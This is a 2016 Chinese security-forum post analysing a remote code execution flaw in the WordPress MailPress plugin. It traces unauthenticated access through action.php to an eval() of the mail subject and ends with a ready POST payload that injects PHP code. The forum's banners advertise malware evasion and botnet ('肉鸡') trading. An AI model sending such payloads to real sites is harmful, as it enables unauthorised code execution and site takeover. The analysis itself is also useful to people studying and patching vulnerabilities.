开启邀请码注册中,禁止灌水!发现一次永久禁言

墨客安全网

 找回密码
 立即注册

墨客安全网-新手入门指南 常见问题及帮助 | 做任务赚墨币币 新人报道 | 悬赏问答| 墨币充值| 帖子举报

墨客安全网-论坛精华合集 墨客安全网 -精华合集 之 速成之路 原创精品 | 加入墨客Vip | Vip工具| Vip教程

墨客安全网-进阶技术学习区 软件/工具| 社工专区 | 入侵检测| 技术文章 动画教程 | 编程交流| 免杀更新 | 程序源码

[悬赏公告] - 严查灌水,打造一个无水论坛,从即日起.请大家互相监督,发现恶意灌水的,请发贴举报,核实后会给予5-10的墨币奖励。
[官方公告] 从今日起所有会员发布工具必须到审核板块进行审核,如有违反永久禁言处理!
 [招聘招聘]-招聘各方面给力版主,要求每日发帖不少于3贴,每天在线时间6个小时以上,具体福利和待遇联系TG客服或者在线管理员
[官方公告]1.发现网盘下载地址失效!可以发贴举报 审核证实后给予奖励10-20墨币。2.即日起!不管是谁发贴!都不能带QQ群 已及个人QQ。个人网站,发现后严格处理。[官方业务]-加入墨客安全网Vip,圆你日抓千鸡梦,各种精品教程,免杀远控,压力测试等你拿,期待各位会员的加入,即可享受众多福利!
【官方公告】论坛所有广告均为商业行为,需要交易的请尽量走担保程序,所有因广告产生的任何纠纷请私下解决【站外广告】大量收色刷!刷单肉鸡!带飞机肉鸡!寻内网横向技术!懂的来,小白勿扰!长期包养色刷,刷单,带飞机海外盘国内盘灰产肉鸡稳定鸡商
联系飞机:@seeok91
【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服
查看: 262|回复: 0

[编程交流] WordPress-Mailpress远程代码执行漏洞

[复制链接]
  • TA的每日心情
    开心
    2018-4-26 08:11
  • 签到天数: 31 天

    连续签到: 1 天

    [LV.5]常住居民I

    25

    主题

    242

    回帖

    2877

    积分

    UID
    8598
    威望
    475 (点)
    主题
    25 (帖)
    精华
    0 (帖)
    贡献
    15  (次)
    墨币
    1645  (枚)
    活跃
    172  (点)
    担保币
    0  (枚)
    注册时间
    2016-9-13
    最后登录
    2018-4-26

    最佳新人推广达人灌水之王乐观达人音乐大师兄弟义气论坛帅哥

    发表于 2016-9-21 12:46:54 | 显示全部楼层 |阅读模式
    0x00 介绍
    Mailpress是一个比较流行的邮件插件。
    Plugin Directory:https://wordpress.org/plugins/mailpress/
    官网:http://blog.mailpress.org
    此漏洞已于2016年06月21日通报给wordpress。

    0x01 漏洞简述
    Mailpress存在越权调用,在不登陆的情况下,可以调用系统某些方法,造成远程命令执行。

    0x02 漏洞详细
    文件:
    mailpress\mp-includes\action.php


    1
    2
    3
    4
    5
    6
    7

                                                           

                                                                    <?php
                                                           

                                                           

                                                                    //
                                                           

                                                           

                                                                    include(‘../../../../wp-load.php’);
                                                           

                                                           

                                                                    //
                                                           

                                                           

                                                                    include(‘../../../../wp-admin/includes/admin.php’);
                                                           

                                                           

                                                                    //
                                                           

                                                           

                                                                    new MP_Actions();
                                                           

                                                   
    转到:
    mailpress\mp-includes\class\MP_Actions.class.php
    即可以调用 MP_Actions.class.php 文件中任意方法。
    其中:
    autosave方法是添加邮件内容
    我们来重点看看


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

                                                           

                                                                    public static function iview()
                                                           

                                                           

                                                                    {
                                                           

                                                           

                                                                    $mp_general = get_option(MailPress::option_name_general);
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    $id = $_GET[‘id’];
                                                           

                                                           

                                                                    $main_id = (isset($_GET[‘main_id’])) ? $_GET[‘main_id’] : $id;
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    $mail = MP_Mail::get($id);
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    $theme = (isset($_GET[‘theme’]) && !empty($_GET[‘theme’])) ? $_GET[‘theme’] : (!empty($mail->theme) ? $mail->theme : false);
                                                           

                                                           

                                                                    $mp_user_id = (isset($_GET[‘mp_user_id’]) && !empty($_GET[‘mp_user_id’])) ? $_GET[‘mp_user_id’] : false;
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    // from
                                                           

                                                           

                                                                    $from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general[‘fromemail’], $mp_general[‘fromname’]);
                                                           

                                                           

                                                                    // to
                                                           

                                                           

                                                                    $to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ”, $mp_user_id);
                                                           

                                                           

                                                                    // subject
                                                           

                                                           

                                                                    $x = new MP_Mail();
                                                           

                                                           

                                                                    $subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
                                                           

                                                           

                                                                    $subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
                                                           

                                                           

                                                                    // template
                                                           

                                                           

                                                                    $template = (in_array($mail->status, array(‘sent’, ‘archived’))) ? false : apply_filters(‘MailPress_draft_template’, false, $main_id);
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    // content
                                                           

                                                           

                                                                    $args = array();
                                                           

                                                           

                                                                    $args[‘action’] = ‘viewadmin’;
                                                           

                                                           

                                                                    foreach(array(‘id’, ‘main_id’, ‘theme’, ‘template’, ‘mp_user_id’) as $x) if ($$x) $args[$x] = $$x;
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    foreach(array(‘html’, ‘plaintext’) as $type)
                                                           

                                                           

                                                                    {
                                                           

                                                           

                                                                    $args[‘type’] = $type;
                                                           

                                                           

                                                                    if (!empty($mail->{$type})) $$type = “<iframe id=’i{$type}’ style=’width:100%;border:0;height:550px’ src='” . esc_url(add_query_arg( $args, MP_Action_url )) . “‘></iframe>”;
                                                           

                                                           

                                                                    }
                                                           

                                                           

                                                                     
                                                           

                                                           

                                                                    // attachements
                                                           

                                                           

                                                                    $attachements = ”;
                                                           

                                                           

                                                                    $metas = MP_Mail_meta::has( $args[‘main_id’], ‘_MailPress_attached_file’);
                                                           

                                                           

                                                                    if ($metas) foreach($metas as $meta) $attachements .= “<tr><td>&#160;” . MP_Mail::get_attachement_link($meta, $mail->status) . “</td></tr>”;
                                                           

                                                           

                                                                    $view = true;
                                                           

                                                           

                                                                    include(MP_ABSPATH . ‘mp-includes/html/mail.php’);
                                                           

                                                           

                                                                    }
                                                           

                                                   
    注意到代码


    1

                                                           

                                                                    $subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
                                                           

                                                   
    转到 do_eval


    1
    2
    3
    4
    5
    6
    7
    8
    9

                                                           

                                                                    function do_eval($x)
                                                           

                                                           

                                                                    {
                                                           

                                                           

                                                                    $x = ‘global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; ?>’ . “\n $x”;
                                                           

                                                           

                                                                    ob_start();
                                                           

                                                           

                                                                    echo(eval($x));
                                                           

                                                           

                                                                    $r = ob_get_contents();
                                                           

                                                           

                                                                    ob_end_clean();
                                                           

                                                           

                                                                    return $r;
                                                           

                                                           

                                                                    }
                                                           

                                                   
    因此,subject参数造成远程命令执行

    0x03 漏洞利用


    1
    2
    3

                                                           

                                                                    http://127.0.0.1/wordpress/wp-co ... includes/action.php
                                                           

                                                           

                                                                    post:
                                                           

                                                           

                                                                    action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1
                                                           

                                                   
    1
    1
    新人必看帖,如何快速赚取墨币,了解墨客安全网论坛版规,等等...( 点我查看

    如果你在论坛悬赏问答求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子内点击(已解决)

    发帖求助前要善用 论坛搜索 功能,如果搜不到可以试试,论坛顶上的 百度站内搜索 - 纵横站内搜索 那里可能会有你要找的答案;

    如果发现论坛有灌水帖、下载地址失效帖、后门帖、广告帖、工具不能正常使用、都可以去 举报版块 发帖举报,核实给予退回墨币+额外的墨币奖励哦;
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    1、请认真发帖,禁止回复纯表情,纯数字等无意义的内容!帖子内容不要太简单!
    2、提倡文明上网,净化网络环境!抵制低俗不良违法有害信息。
    3、每个贴内连续回复请勿多余3贴,每个版面回复请勿多余10贴!
    4、如果你对主帖作者的帖子不屑一顾的话,请勿回帖。谢谢合作!

    关闭

    站长推荐上一条 /1 下一条